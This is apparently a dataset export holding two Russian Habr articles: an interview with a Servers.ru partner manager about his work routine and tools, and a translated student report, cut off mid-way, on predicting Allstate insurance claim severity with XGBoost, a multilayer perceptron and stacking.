source
stringclasses
4 values
title
stringlengths
5
287
keywords
stringlengths
6
1.23k
summary
stringlengths
11
5.12k
content
stringlengths
2
164k
url
stringlengths
33
173
habrahabr
Как работают ИТ-специалисты. Игорь Мызгин, Servers.ru
['интервью с разработчиками', 'советы начинающим', 'лайфхак', 'привычки', 'организация работы', 'хостинг', 'софт']
Мы продолжаем расспрашивать специалистов о режиме труда и отдыха, профессиональных привычках, об инструментарии, который они используют, и многом другом. Будет интересно выяснить, что их...
Мы продолжаем расспрашивать специалистов о режиме труда и отдыха, профессиональных привычках, об инструментарии, который они используют, и многом другом. Будет интересно выяснить, что их объединяет, в чем они противоречат другу другу. Возможно, их ответы помогут выявить какие-то общие закономерности, полезные советы, которые помогут многим из нас. Сегодня наш гость — Игорь Мызгин, специалист по взаимодействию с ключевыми партнерами и клиентами Servers.ru. Он не работает в офисе, у него ненормированный график. Игорь — первый обладатель сертификата «MCSE: Security 2003» в России. Чем занимаетесь в компании? Клиентам, которым нужен полный список услуг хостинга, стараюсь дать возможность воспользоваться всей нашей экосистемой. Мы предлагаем нашим клиентам хостинг по всему миру. Это Америка, Европа, Азия, Россия. Мы постоянно развиваемся. Скоро у нас будет Южная Америка. Мы предоставляем в аренду физические и виртуальные серверы, мы оказываем услуги на базе собственного CDN-провайдера, мы оказываем услуги IP-транзита тем, кому нужно по-настоящему много трафика. Мы также предоставляем колокейшен в виде стоек. Все это мы готовы предложить во всем мире, в любых количествах. Моя задача – понять потребности клиента, понять, как оптимизировать его расходы, выявить круг задач, которые должен решить наш сервис. Мне нужно вместе с клиентом разработать такой проект, чтобы у клиента все работало, чтобы он вписался в существующий или планируемый бюджет. После этого я выполняю функцию «адвоката» клиента внутри холдинга. Пытаюсь понять бизнес-модель клиента, и исходя из этого выяснить, как клиент видит нас и зачем мы ему можем быть нужны, чем можем быть полезны. Одна фраза (словосочетание), лучше всего описывающее, как вы работаете: Поймать волну. Сколько часов в сутки вы уделяете работе? Сложный вопрос. У меня нет офиса, куда я прихожу в 9 утра, включаю ноутбук, и в 18:00, соответственно, его выключаю. Я могу, условно говоря, работать в ночь с субботы на воскресенье, а могу в среду днем поехать куда-то по своим делам. Сколько часов вы спите? Когда как. Вчера спал 4 часа, сегодня – 7. Вы завтракаете? Не всегда. Обычно, мой завтрак — это только растворимый кофе без сахара и без молока. Чем занимаетесь по пути на/с работы? Если я за рулем, то разговариваю по телефону. Если я еду на общественном транспорте, то я что-то делаю в ноутбуке. Каким todo-менеджером пользуетесь лично вы? Тетрадь А4 на металлической оплетке на 200-400 листов весом в килограмм и ручка. Как показывает опыт, это лучший вариант для индивидуального пользования. Еще она энергонезависима (смеется). Каким таск-менеджером / issue-tracker’ом / репозиторием пользуетесь? Так как моя позиция коммуникационно-менеджерская, я не пользуюсь этими продуктами. Я знаю, что у нас есть JIRA, RT и Confluence. Так как мы парни из 90-х, мы долгое время жили на корпоративном Jabber-сервере. Недавно у нас произошло чудо, и мы шагнули из ХХ века в ХХI: у нас появился внутренний HipChat-сервер. Теперь мы можем друг другу эмодзи или attach отправить. Теперь у нас есть еще room chats. Это очень круто и позволяет устраивать обсуждение проектов командой, в которой люди раскиданы на 3-4 страны (смеется). Какие инструменты, фреймворки вы используете для разработки? Про фрейморки – да они есть, но у разработчиков… А я менеджер. Мы «маленькая» компания: существуем в 10 странах. Ведем локальные взаимоотношения почти в 10 валютах, у нас некое количество юрлиц в разных юрисдикциях. Для управленческого и финансового учета мы используем SAP R3. Но в SAP у нас в основном живет финансовый директор, группа бухгалтеров, и слава богу, в SAP не живу я. У нас в компании есть внутренняя разработка, CRM-система. Она включает в себя inventory-менеджер, ERP, которая управляет хостингом как бизнесом. Это самописный комбайн, который автоматизирует хостинговый бизнес, который ведется на нескольких континентах, с разными контрагентами. В него также интегрировано управление несколькими нашими продуктами. Есть ли в вашей компании какие-то внутренние проекты, библиотеки и для чего они создавались? У нас постоянно происходит накопление опыта вместе с нашими клиентами, и зачастую этот опыт структурируется как отдельный проект и продукт. Так когда-то было с облачным хранилищем. В этом году таким проектом для нас стала инфраструктура для приложения Prisma.AI. С первых дней приложение работает и развивается на наших мощностях по всему миру. И мы вместе с командой Призмы в этом году учились расти по экспоненте, удваивая и утраивая каждую неделю-две количество серверов. Нам удалось найти решение, позволяющее очень быстро добавлять мощности, оставаясь на тот момент в десятки раз производительнее и в разы дешевле, чем, скажем, AWS. В итоге, на базе инфраструктуры, которую наша команда разработала тогда специально для Prisma AI и родилась идея создать новый продукт — Prisma Cloud. Теперь все наши клиенты могут получить физические или виртуальные серверы с графическими сопроцессорами и эффективно построить приложения, работающие с машинным обучением/нейронными сетями. То есть для вас внутренние проекты – это не что-то особенное? Это постоянный процесс: появляются новые технологии, мы все время что-то создаем, внедряем. Вот несколько лет назад появился Docker. Мы стали смотреть и разбираться, как можно интегрировать его с нашими разработками для тех клиентов, которые им хотели бы пользоваться. Это тоже был внутренний проект, который затем стал стандартной продуктовой опцией. Или, например, коллеги съездили на очередной саммит OpenStack. В результате у нас появился очередной проект по анализу целесообразности миграций модулей на актуальные поколения, во что-то это в итоге превратится и на продуктовом уровне. У нас есть и сугубо внутренние проекты, такие как миграция SAP R3 в S4/HANA. То есть, внутренних проектов у нас много, и они часто становятся новыми клиентскими услугами. Что вас раздражает больше всего, когда вы работаете? Сначала ты начинаешь беситься от того, что все люди мыслят по-разному. Потом ты понимаешь, что это нужно принять как аксиому, и это перестает бесить. Я научился мириться с подобными вещами. Есть, конечно, свои нюансы: у нас распределенная компания, поэтому все находятся в разных часовых поясах. Если нужно позвонить в Даллас, а там в это время 4 утра, то звонить туда бессмысленно. Также ты не всегда знаешь, где сейчас тот или иной сотрудник и какое у него локальное время. Человек может быть в Сингапуре и там +5 часов, может быть в Далласе и там -8 от Москвы, а может быть на Кипре, и там -1. Но беситься из-за этого тоже бессмысленно. Это просто такая особенность, когда бизнес делается по всему «шарику». Какую профессиональную литературу вы бы могли порекомендовать? Просто поделюсь интересным наблюдением: если человеку меньше 30 лет, он обычно не читал трехтомник Кнута. Хотя книга-то до сих пор актуальна и не может особо устареть — алгоритмы не устаревают. Сейчас, может быть, не актуально на Ассемблере писать, но иметь представление об ассемблерах, о низкоуровневой работе железа всё-таки стоит. Так что, универсальной литературы нет, но есть некий фундаментальный набор книг о базовых вещах, который для каждой области свой. DBA стоит читать Кодда, программистам Кнута, а сисадмины могут почитать RFC. Лет 15 назад один умный человек мне говорил: «Читай RFC, там все написано». И этот совет за 15 лет не устарел. Что предпочитаете: электронные читалки или бумажные книги? Устал от плохого качества электронных читалок. Еще давно я читал бумажные книги. Потом, 15 лет назад, у меня появился Palm 3E (16 градаций серого, 2 МБ памяти). Постепенно я все-таки понял, что нужно читать бумажные книги, потому что у нас в стране нет читалок, которые не убивают нормальное форматирование текста. Какую технику (компьютеры, планшеты, смартфоны) и операционные системы вы предпочитаете на работе и дома? Компьютер Mac, Windows на виртуальной машине, iOS- и Android-смартфоны, iOS-планшет. Корпоративный стандарт нашей компании – Apple. Вообще у нас примерно 270 сотрудников в 10 странах, но тех, кто в ежедневной работе использует продукты Microsoft, наберется с десяток. А вот увидеть Linux на ноутбуке Apple — это более чем типовая история у наших разработчиков. Вы слушаете музыку, когда работаете? Да, конечно. Это позволяет отвлекаться от того, что происходит вокруг. Поэтому я надеваю наушники, включаю негромкую музыку, которую знаю и люблю. Тогда я погружаюсь в это и спокойно работаю. Какой лайфхак позволяет вам быть эффективнее? Самый стандартный прием – утром придумать задачу, которую точно нужно сделать, делаешь ее, а потом все остальное. Без каких приложений и сервисов не можете обойтись ни в работе, ни в личной жизни? Facebook. А вообще, можно обойтись и без всего, но степень комфорта снижается. Что бы написал Игорь Мызгин 10 лет назад в письме в будущее самому себе? Есть проблема: мне 35. Я занимаюсь продажами, не погружаясь в технологические платформы. 10 лет назад я был системным архитектором стека технологий Microsoft. Я первый обладатель сертификата «MCSE: Security 2003» в России, потому что я просто был первым, кто сдал один из экзаменов в Prometric. Я первым загрузил этот экзамен на российские серверы, чтобы сдать его (смеется). Поэтому, не знаю, какой совет тот человек может дать мне. У вас пройден огромный путь. А кто-то сейчас стоит в начале этого пути. Что бы вы порекомендовали человеку, пытающемуся пройти тот же путь? Если родители говорят, что сейчас нужно быть PHP-разработчиком или бухгалтером, это все конъюнктурно. Вместо этого надо просто найти то, что тебя драйвит и пытаться этим заниматься. Можно быть кем угодно и зарабатывать этим на жизнь. Если тебя этот процесс драйвит, нужно развиваться в этом направлении. Деньги ведь платят за профессионализм. Если тебя это занятие драйвит, ты станешь профи в любой отрасли. А если ты работаешь потому, что это престижно или родители сказали, что ты будешь главбухом, а тебя от этого тошнит, ты не достигнешь высокого уровня, и в результате тебе не будут платить за это серьезные деньги. Аксиоматика здесь простая.
https://habrahabr.ru/post/317378/
habrahabr
Предсказание тяжести страховых требований для компании Allstate. Дипломный проект нашего выпускника
['big data', 'большие данные']
Хабр, привет! Наш выпускник 4-го набора программы «Специалист по большим данным» Кирилл Данилюк поделился своим исследованием, которое он выполнил в качестве финального проекта в одном из курсов....
Хабр, привет! Наш выпускник 4-го набора программы «Специалист по большим данным» Кирилл Данилюк поделился своим исследованием, которое он выполнил в качестве финального проекта в одном из курсов. Вся документация и описание есть на его гитхабе . Здесь же мы приводим перевод его отчета. Осторожно — лонгрид. Отчет по дипломному проекту «Предсказание тяжести страховых требований для компании Allstate» Часть 1. Описание проекта Общий обзор проекта Многие люди, работающие в сферах, связанных с данными, слышали о Kaggle – платформе для проведения соревнований по наукам о данных. Сегодня на Kaggle представлены более 600 тыс. data scientist'ов и множество широко известных компаний. Компания описывает свою проблему, задает метрики качества, публикует набор данных, который мог бы помочь ее решить, а участники находят оригинальные способы решения поставленной компанией задачи. Данное соревнование Kaggle предоставлено компанией Allstate – крупнейшей публичной компанией США в сфере персонального страхования жизни и имущества. В данный момент Allstate занимается разработкой автоматических методов предсказания стоимости (тяжести) страховых требований и обратилась к сообществу Kaggle с просьбой продемонстрировать свежие идеи и новые подходы к решению этой проблемы. Компания стремится улучшить качество своих услуг по обработке страховых требований и опубликовала набор данных о произошедших в домашних хозяйствах несчастных случаях (каждое домашнее хозяйство представлено вектором анонимизированных признаков) с указанием численной оценки стоимости страхового требования. Наша задача состояла в том, чтобы предсказать тяжесть возможного страхового требования для нового домохозяйства. На Kaggle также доступны еще несколько связанных с данной задачей наборов данных: • Соревнование Allstate по предсказанию страховых требований — более раннее соревнование Allstate, целью которого было предсказать страховые платежи на основе характеристик застрахованного транспортного средства. Набор данных этого соревнования предоставляет возможность погрузиться в область страхования. • Соревнование по оценке потерь от огня – соревнование, проведенное Liberty Mutual Group и направленное на предсказание ожидаемых потерь от огня для формирования условий страховых контрактов. Это еще один пример набора данных из сферы страхования, который помог нам получить понимание подходов к решению задач предсказания в страховой индустрии. Отдельно отмечу, что исходный набор данных является высоко анонимным (как в части названий признаков, так и в части значений). Этот аспект усложняет как понимание значения признаков, так и затрудняет обогащение набора данных из внешних источников. Участники соревнования по-разному пробовали обогатить и интерпретировать исходные данные, однако успех их попыток остаётся спорным. С другой стороны, в данном наборе данных, по всей видимости, отсутствует утечка данных , которая возникает, когда в тренировочных данных остается дополнительная информация. Такая информация может сильно коррелировать с целевой переменной и приводить к необоснованно точным предсказаниям. За последнее время от таких утечек пострадало достаточно большое число соревнований Kaggle. Постановка задачи В нашем распоряжении находится набор данных, содержащий записи по страховым требованиям клиентов компании Allstate. Каждая запись содержит как категориальные, так и непрерывные признаки. Целевая переменная представляет собой численную оценку потерь, вызванных данным страховым требованием. Все признаки сделаны максимально анонимными: мы не знаем ни настоящих названий признаков, ни их истинных значений. Наша цель – построить модель, которая сможет правильно предсказать будущие потери на основе заданных значений признаков. Очевидно, что это задача регрессии: целевая переменная численная. Также это задача обучения с учителем: целевая переменная явно определена в тренировочном наборе данных, и нам необходимо получить ее значения для каждой записи тестового набора. Компания Allstate проделала большую работу по очистке и предобработке данных: предоставленный набор данных в очень высокой степени очищен и (после небольшой дополнительной обработки) может быть передан большому числу алгоритмов обучения с учителем. Как мы увидим в части отчета, посвященной исследованию данных, задание компании Allstate особо не позволяет генерировать новые признаки или заниматься препроцессингом имеющихся фич. С другой стороны, этот датасет подталкивает к использованию и тестированию различных алгоритмов машинного обучения и ансамблей — как раз то, что нужно для дипломного проекта. Я применил следующий подход к проекту Allstate: 1. Исследовать набор данных, понять значение данных, признаков и целевой переменной, и найти в данных простые взаимосвязи. Этот этап выполнен в файле Data Discovery notebook. 2. Произвести необходимую предобработку данных и обучить несколько различных алгоритмов машинного обучения (XGBoost и многослойный перцептрон). Получить базовые результаты. Эти задачи решены в файлах XGBoost и MLP . 3. Настроить модели и добиться заметного улучшения результатов по каждой из них. Этот этап также осуществлен в файлах XGBoost и MLP. 4. Обучить ансамбль используя технику наложения моделей (стэкинг) с использованием предыдущих моделей как базовых предикторов. Получить итоговые результаты, которые будут значительно лучше предыдущих. Этот этап реализован в файле Stacking notebook . 5. Кратко обсудить результаты, дать оценку итоговой позиции в турнирной таблице соревнования и найти дополнительные пути ее улучшения. О результатах мы поговорим ниже в данном отчёте и в последней части файла Stacking notebook . Метрики Платформа Kaggle требует от компании, проводящей соревнование, четко определить метрику, по которой могут соревноваться участники. Компания Allstate выбрала в качестве такой метрики MAE . MAE (средняя абсолютная ошибка) – очень простая и очевидная метрика, которая напрямую сравнивает предсказанные и истинные значения. Эта метрика задана и не может быть изменена, т.к. является частью условий соревнования. Тем не менее, я считаю ее хорошо подходящей к данной задаче. Во-первых, MAE (в отличие от MSE или среднеквадратичной ошибки) не дает большого штрафа за неверную оценку выбросов (в датасете присутствует несколько выбросов с аномально высокими значениями потерь). Во-вторых, MAE проста для понимания: значения ошибки выражаются в тех же измерениях, что и сама целевая переменная. Вообще говоря, MAE – хорошая метрика для новичков в науках о данных. Ее легко вычислить, просто понять и трудно неправильно интерпретировать. Part 2. Анализ Изучение данных Для полного ознакомления с этим этапом вы можете обратиться к файлу Data Discovery . Вся обучающая выборка состоит из 188318 элементов , индексированных с помощью переменной uid. Индекс для работы с данными не несёт дополнительной информации, т.к. это просто нумерация, начиная с «1» с некоторыми пропущенными значениями. Мы не собираемся использовать для предсказания тестовый набор без индекса (она необходима для отправки результатов на Kaggle), однако стоит отметить, что тестовый набор данных организован так же, как и тренировочный. Очевидно, обучающая и тестовая выборки были получены из одного набора данных разбиением процедурой, например, train_test_split из пакета sklearn. Основные результаты данной части проекта следующие: • Набор данных содержит 130 различных признаков (без учета индекса id и целевой переменной loss). С учетом размеров набора данных, это вполне разумное число признаков. Мы едва ли могли бы столкнуться здесь с «проклятием размерности». • 116 признаков категориальные, 14 численные. Вероятно, нам нужно будет закодировать эти 116 признаков, так как большинство алгоритмов машинного обучения не могут корректно обрабатывать категориальные переменные. Способы такого кодирования и различия между ними мы обсудим позднее. • Во всем наборе данных нет ни одного пропущенного значения. Такой факт лишь подтверждает, что компания Allstate предоставила данные с высокой степенью предварительной обработки, чтобы сделать их доступными и простыми в использовании. • Большинство категориальных признаков (72 или 62%) бинарные (да/нет; мужчина/женщина), но их значения записаны просто как «A» и «B», поэтому мы никак не можем догадаться об их значении. 3 признака принимают три различных значения, 12 признаков – 4 различных значения. • Численные признаки уже отмасштабированы в диапазоне от 0 до 1, стандартные отклонения для всех них близки к 0.2, средние значения составляют порядка 0.5, поэтому и для этих признаков мы не можем сделать никаких предположений об их значении. • По всей видимости, некоторые численные признаки раньше были категориальными до их преобразования в численные с помощью LabelEncoder или схожей процедуры. • Построив гистограммы различных признаков, можно убедиться, что ни один из них не подчиняется нормальному закону распределения. Можно попробовать снизить асимметрию распределения этих данных (в случае scipy.stats.mstats.skew > 0.25), однако даже после такого преобразования добиться распределения, близкого к нормальному, не удастся. • Целевая переменная также распределена не нормально, хотя и может быть простым логарифмическим преобразованием приведена к распределению, близкому к нормальному. • Целевая переменная содержит несколько выбросов с аномально высокими значениями (очень серьезные происшествия). В идеальном случае мы хотели бы, чтобы наша модель умела идентифицировать и правильно предсказывать такие выбросы. В то же время мы можем легко на них переобучиться, если не будем достаточно осторожны. Ясно, что здесь необходим некоторый компромисс. • Обучающая и тестовая выборки имеют сходные распределения данных. Это идеальная характеристика разбиения на обучающую и тестовую выборки, которая сильно упрощает кросс-валидацию и позволяет нам принимать информированные решения о качестве моделей, используя кросс-валидацию на тренировочном наборе данных. Это значительно упростило участие в соревновании Kaggle, однако не будет полезно для выполнения дипломного проекта. • Несколько непрерывных признаков сильно коррелированы (корреляционная матрица отображена на рис. 1 ниже). Это приводит к основанной на данных мультиколлинеарности в этом наборе данных, что может радикально снизить предсказательную способность линейных регрессионных моделей. Частично эту проблему можно решить с помощью L1 или L2 регуляризации. Рисунок 1: Корреляционная матрица для непрерывных признаков Обзорная визуализация Я покажу одну визуализацию для того, чтобы продемонстрировать важную черту этого набора данных – высокую степень анонимности, предварительной обработки данных. Ниже приведены гистограммы 14 непрерывных признаков, помеченных как cont#. Как видно из рис. 1, распределения данных могут иметь множественные пики, и функции плотности распределений не близки к гауссовским. Мы могли бы попытаться снизить коэффициент асимметрии данных, но применение алгоритмов нормализации (например, преобразования Бокса-Кокса ) мало что дало для данного набора данных. Рисунок 2: Гистограммы непрерывных признаков Особенно интересен признак cont2. Этот признак был, по всей видимости, получен из категориального и может отражать возраст или возрастную категорию. К сожалению, я не углублялся в изучение этого признака: на мой проект он никакого влияния не оказал. Алгоритмы и методика анализа данных Этот раздел гораздо подробнее раскрыт в двух следующих документах: XGBoost notebook и MLP notebook . XGBoost. Одна из причин моего интереса к проекту — это возможность попробовать метод бустинга над деревьями и, в частности, XGBoost. Де-факто этот алгоритм стал своеобразным стандартным швейцарским ножом для множества соревнований Kaggle благодаря его масштабируемости, гибкости и впечатляющей предсказательной силы. XGBoost подходит для задач обучения с учителем, сходных с той, которую мы имеем (четко определенные тренировочный набор данных и целевая переменная). Ниже мы опишем принципы работы алгоритма XGBoost. XGBoost, в сущности, является вариацией бустинга — ансамблевого мета-алгоритма машинного обучения, применяемого для снижения смещения и дисперсии в обучении с учителем, и семейства алгоритмов машинного обучения, которые превращают слабые модели в более сильные. Источник: Википедия . Изначально, идеи бустинга уходят корнями в поставленный Kearns и Valiant вопрос о том, могут ли «слабые» обучающиеся алгоритмы, которые дают результаты чуть лучше случайного гадания в PAC (вероятно приблизительно правильной) модели, быть “усилены” до “сильного” обучающегося алгоритма произвольной точности. Источник: Краткое введение в бустинг (Yoav Freund и Robert E. Schapire). Утвердительный ответ на этот вопрос был дан R.E.Schapire в его статье Сила слабой обучаемости , которая привела к разработке множества алгоритмов бустинга. Как видно, основополагающим принципом бустинга является последовательное применение слабых алгоритмов обучения. Каждый последующий слабый алгоритм пытается уменьшить смещение всей модели, объединяя, таким образом, слабые алгоритмы в мощную ансамблевую модель. Можно привести множество различных примеров алгоритмов и методов бустинга, таких как AdaBoost (адаптивный бустинг, который подстраивается под слабые алгоритмы обучения), LPBoost и градиентный бустинг. XGBoost, в частности, является библиотекой, реализующей схему градиентного бустинга. Модели градиентного бустинга строятся поэтапно, точно так же, как и при использовании других методов бустинга. Этот метод бустинга обобщает слабые обучающиеся алгоритмы, допуская оптимизацию произвольной дифференцируемой функции потерь (функции потерь с вычислимым градиентом). XGBoost, как разновидность бустинга, включает оригинальный основанный на решающих деревьях алгоритм машинного обучения, пригодный для работы с разреженными данными; теоретически обоснованная процедура позволяет работать с весами различных элементов в обучении деревьев. Источник: XGBoost: масштабируемая система бустинга над деревьями (Tianqi Chen, Carlos Guestrin) Можно привести ряд достоинств алгоритма XGBoost: • Регуляризация. Как будет показано в разделе, посвященному модели многослойного перцептрона, при использовании других алгоритмов легко можно получить переобученную модель. XGBoost предоставляет очень надежные готовые к использованию средства регуляризации вместе с набором параметров для настройки этого процесса. Перечень этих параметров включает: gamma (минимальное уменьшение функции потерь, необходимое для дальнейшего деления дерева), alpha (вес для L1-регуляризации), lambda (вес для L2-регуляризации), max_depth (максимальная глубина дерева), min_child_weight (минимальная сумма весов всех наблюдений, требующаяся для дочернего объекта). • Реализация параллельных и распределенных вычислений. В отличие от многих других алгоритмов бустинга, обучение здесь может производиться параллельно, тем самым сокращая время обучения. XGBoost работает действительно быстро. По утверждению авторов вышеупомянутой статьи, «система работает более чем в 10 раз быстрее существующих популярных решений уже на одном компьютере и может быть масштабирована на миллионы экземпляров в распределенном или ограниченном по памяти окружении». • Встроенная кросс-валидация. Кросс-валидация является необходимым условием оценки качества полученной модели, и в случае с XGBoost ее процесс работы с ней крайне прост и понятен. MLP. Вторая модель, которую мы строим – полносвязная нейронная сеть прямого распространения или многослойный перцептрон. Так как наша конечная цель – построить ансамбль (stacking) базовых регрессоров (и мы определились с типом первого из них — XGBoost), мы должны найти другой «тип» обобщающего алгоритма, который будет иначе исследовать наш набор данных. Это то, когда имеют в виду, когда говорят, что обобщающие алгоритмы нулевого уровня должны «покрывать пространство». Wolpert, Обобщение наложением. Путем добавления большего числа слоев и большего числа элементов внутри каждого слоя нейронная сеть может улавливать очень сложные нелинейные связи в данных. Универсальная теорема аппроксимации утверждает, что нейронная сеть прямого распространения может аппроксимировать любую непрерывную функцию в евклидовом пространстве. Таким образом, многослойный перцептрон является очень мощным алгоритмом моделирования. Многослойные перцептроны легко подвержены переобучению, но в нашем распоряжении есть все необходимые инструменты для того, чтобы снизить влияние этого фактора: случайное выключение активации нейронов (dropout), L1-L2 регуляризация, нормализация пакетов (batch normalization) и т.д. Мы также можем обучить несколько сходных нейронных сетей и усреднить их предсказания. Сообщество, занимающееся глубоким обучением, разработало высококачественное программное обеспечение для обучения и оценки моделей, основанных на искусственных нейронных сетях. Мои модели построены на базе TensorFlow , библиотеки для тензорных вычислений, разработанной Google. Чтобы упростить построение моделей, я принял решение использовать Keras , высокоуровневый внешний интерфейс для TensorFlow и Theano, который берет на себя большую часть стандартных операций, необходимых для построения и обучения нейронных сетей. GridSearch и Hyperopt. Данные методы применяются для отбора моделей и настройки гиперпараметров. В то время как GridSearch (поиск по сетке) исчерпывающим образом перебирает все возможные комбинации параметров, Hyperopt либо выбирает заданное число кандидатов из пространства параметров с заданным распределением, либо использует форму байесовской оптимизации. Вместе с обоими этими методами отбора мы используем для оценки производительности моделей технику кросс-валидации. Мы используем кросс-валидацию с разбиением на k частей (k-fold) с тремя или пятью частями в зависимости от вычислительной сложности модели. Наложение моделей (stacking). Мы комбинируем предсказания двух из наших моделей (XGBoost и многослойный перцептрон) для построения финального предсказания, используя метарегрессор. Данный метод называется наложением (stacking) и интенсивно используется на Kaggle (часто чрезмерно). Идея стэкинга в том, чтобы разбить обучающую выборку на k частей и обучать каждый из базовых регрессоров на k-1 частях, делая предсказания на оставшейся части. В итоге, мы получаем обучающую выборку с предсказаниями регрессора (out-of-fold), имея при этом реальные значения целевой переменной. Далее, мы обучаем метамодель на этих данных, используя предсказания каждого регрессора как признак для метамодели, а истинные значения — как целевой признак. Обученной метамодели мы подаём на вход предсказания регрессоров для тестовой выборки и получаем уже финальные предсказания, в которых обученная модель учитывает характерные ошибки каждого регрессора. Реализация данного этапа детально раскрыта в файле Stacking notebook. Критерии для оценки результатов Первый результат был задан компанией Allstate: они обучили ансамблевую модель случайного леса и получили результат MAE=1217.52141. Этот результат легко превзойти даже простой моделью XGBoost, и большинству участников это удалось. Я также установил для себя несколько критериев, когда обучал модели. Нижней границей для меня выступала производительность простой модели данного класса. Для XGBoost такой результат был установлен на MAE=1219.57, он достигается простой моделью из 50 деревьев без какой-либо оптимизации или настройки гиперпараметров. Я взял стандартные значения гиперпараметров (предложенные в статье от Analytics Vidhya ), оставил небольшим количество деревьев и получил этот стартовый результат. Для многослойного перцептрона в качестве базового результата была выбрана производительность двухслойной модели с маленьким числом элементов в ее скрытом слое (128) с функцией активации ReLU, стандартной инициализацией весов и оптимизатором Adam GD: MAE=1190.73. В данном дипломном проекте я избегал сложных baseline-моделей, так как понимаю, что все результаты должны быть воспроизводимыми. Я также участвую в этом соревновании Kaggle, однако обучение всех моих используемых в соревновании моделей, большинство из которых представляет собой комбинации и использует большое число алгоритмов, точно потребует от читателя слишком много времени. В соревновании Kaggle я надеюсь превзойти результат MAE=1100. Часть 3. Методология Предварительная обработка данных Я уже упоминал, что этот датасет уже был хорошо подготовлен и предварительно обработан, например, непрерывные признаки были отмасштабированы в интервал [0,1], категориальные признаки были переименованы, их значения были превращены в числа. Фактически, в части предобработки здесь осталось не так много того, что можно было бы еще сделать. Однако некоторая работа еще должна быть проделана для того, чтобы можно было обучать корректные модели. Предварительная обработка целевой переменной Наш целевой признак имеет экспоненциальное распределение, которое может понизить качество регрессионных моделей. Как известно, регрессионные модели лучше всего работают тогда, когда целевая переменная распределена нормально. Чтобы решить эту проблему, мы просто применяем к целевой переменной loss логарифмическое преобразование: np.log(train['loss']). Рисунок 3: Гистограммы распределения целевой переменной до и после логарифмического преобразования Полученный результат можно улучшить: слева от основного колокола распределения лежат несколько отклоняющихся наблюдений. Чтобы избавиться от этих выбросов, мы можем сдвинуть все значения переменной loss на 200 пунктов вправо (loss+200) и затем взять от них логарифм. Кодирование категориальных переменных Большинство алгоритмов машинного обучения не могут напрямую работать с категориальными переменными. XGBoost здесь не является исключением, так что нам нужно будет преобразовать наши категориальные переменные в численные. Здесь можем выбрать одну из двух стандартных стратегий: кодирование меток (label encoding) или прямое кодирование (one-hot encoding). Какую стратегию использовать – вопрос достаточно спорный , однако здесь следует рассмотреть несколько факторов: Прямо кодирование (one-hot encoding) – это базовый способ работы с категориальными признаками. Он выдает разреженную матрицу, где каждый новый столбец представляет одно возможное значение какого-либо одного признака. Так как у нас 116 категориальных переменных, и переменная cat116 принимает 326 значений, мы можем получит разреженную матрицу с огромным количество нулей. Это приведет к более длительному обучению, увеличит затраты памяти и может даже ухудшить итоговые результаты. Другой недостаток прямого кодирования – потеря информации в тех случаях, когда имеет значение порядок категорий. Кодирование меток (label encoding) , с другой стороны, просто нормализует столбец входных данных так, что он содержит только значения между 0 и числом классов-1. Для многих алгоритмов регрессии это не слишком хорошая стратегия, однако XGBoost может справляться и справляется с таким преобразованием очень хорошо. Для XGBoost мы будем использовать LabelEncoder и нормализуем входные данные. Для многослойного перцептрона нам нужно будет создавать фиктивные переменные, таким образом, наш выбор здесь – one-hot encoding. Реализация и усовершенствование моделей Как было упомянуто ранее, наша методология реализации машинного обучения будет подразделяться на два раздела: • Обучение, настройка и кросс-валидация базовых моделей (моделей нулевого уровня): XGBoost и многослойного перцептрона в предположении, что мы уже произвели предварительную подготовку данных, которая для этих двух моделей немного различается. Разница будет в кодировании признаков (прямое или кодирование меток) и (к сожалению) в отсутствии логарифмического преобразования целевой переменной для модели многослойного перцептрона. Итогом этой части будут две настроенные модели, результаты которых будут отвечать установленным критериям. • Обучение и валидация модели уровня 1, то есть, наложения моделей. Итогом этого раздела станет новая метамодель, дающая результаты лучшие, чем каждая из базовых моделей нулевого уровня, которые мы обучили ранее. Теперь пришло время дать детальный обзор каждого из разделов. Раздел 1. Модели нулевого уровня: обучение, настройка, кросс-валидация Методология обучения модели XGBoost (адаптированный вариант руководства по настройке XGBoost от Analytics Vidhya ): 1. Обучим неглубокую и простую модель с параметрами num_boost_round=50, max_depth=5 и получим базовый результат MAE=1219.57. Такой результат мы установим в качестве нижней границы и будем улучшать его с помощью настройки модели. 2. Чтобы облегчить оптимизацию гиперпараметров, мы реализуем собственный класс XGBoostRegressor, построенный над XGBoost. Такой класс, по большому счёту, необязателен для работы модели, однако даст нам ряд преимуществ (мы сможем использовать собственную функцию потерь и минимизировать эту функцию вместо максимизации) при использовании поиска по сетке GridSearchCV, реализованного в scikit-learn. 3. Мы определим и зафиксируем скорость обучения и количество деревьев, которые будут в каждом следующем переборе по сетке. Поскольку наша задача состоит в том, чтобы за минимальное время получить неплохой результат, мы поставим небольшое число деревьев и высокую скорость обучения: eta=0.1, num_boost_round=50. 4. Настроим параметры max_depth и min_child_weight. Эти гиперпараметры рекомендуется настраивать совместно, т.к. увеличение max_depth приводит к возрастанию сложности модели (и увеличивает вероятность переобучения). В то же самое время min_child_weight выступает регуляризирующим параметром. Мы получаем следующие наилучшие параметры: max_depth=8, min_child_weight=6. Это улучшает результаты с MAE=1219.57 до MAE=1186.5. 5. Настроим gamma, параметр регуляризации. 6. Настроим соотношение числа признаков и элементов обучающей, которое будет использоваться в каждом из деревьев: colsample_bytree, subsample. Мы получаем следующую оптимальную конфигурацию: subsample=0.9, colsample_bytree=0.6 и улучшаем наши результаты до MAE=1183.7. 7. Наконец, добавим больше деревьев (увеличим параметр num_boost_round) и снизим интенсивность обучения eta. Мы также выработаем практическое правило для понимания связи между этими двумя гиперпараметрами. Наша финальная модель использует 200 деревьев, имеет eta=0.07 и итоговый результат MAE=1145.9. Пример процесса настройки параметров модели с использованием Grid Search показан на рисунке 4 ниже (подробности вы найдете в этом файле): Рисунок 4: двумерные пространства гиперпараметров для пар max_depth–min_child_weight и colsample-subsampling Методология обучения модели многослойного перцептрона: 1. Начнем с простого и построим базовую модель с единственным скрытым слоем (двухслойную), функцией активации ReLU и оптимизатором Adam, реализующим метод градиентного спуска. Такие неглубокие модели трудно переобучить, они быстро обучаются и дают хорошие начальные результаты. В терминах компромисса между смещением и дисперсией они представляют собой смещенные модели, однако стабильны и дают достойный результат MAE=1190.73 для такой простой модели. 2. Используем кросс-валидацию с разбиением на k частей (k-fold) для измерения производительности более глубоких моделей и для визуализации переобучения. Обучим трехслойную модель, покажем, что она легко подвержена переобучению. 3. Добавим в трехслойную модель регуляризацию: выключение нейронов (dropout) и раннюю остановку (early stopping). Определим несколько возможных конфигураций для последующего ручного тестирования: эти конфигурации отличаются числом скрытых элементов и вероятностью выключения нейронов. Обучим эти модели, рассмотрим и сравним их 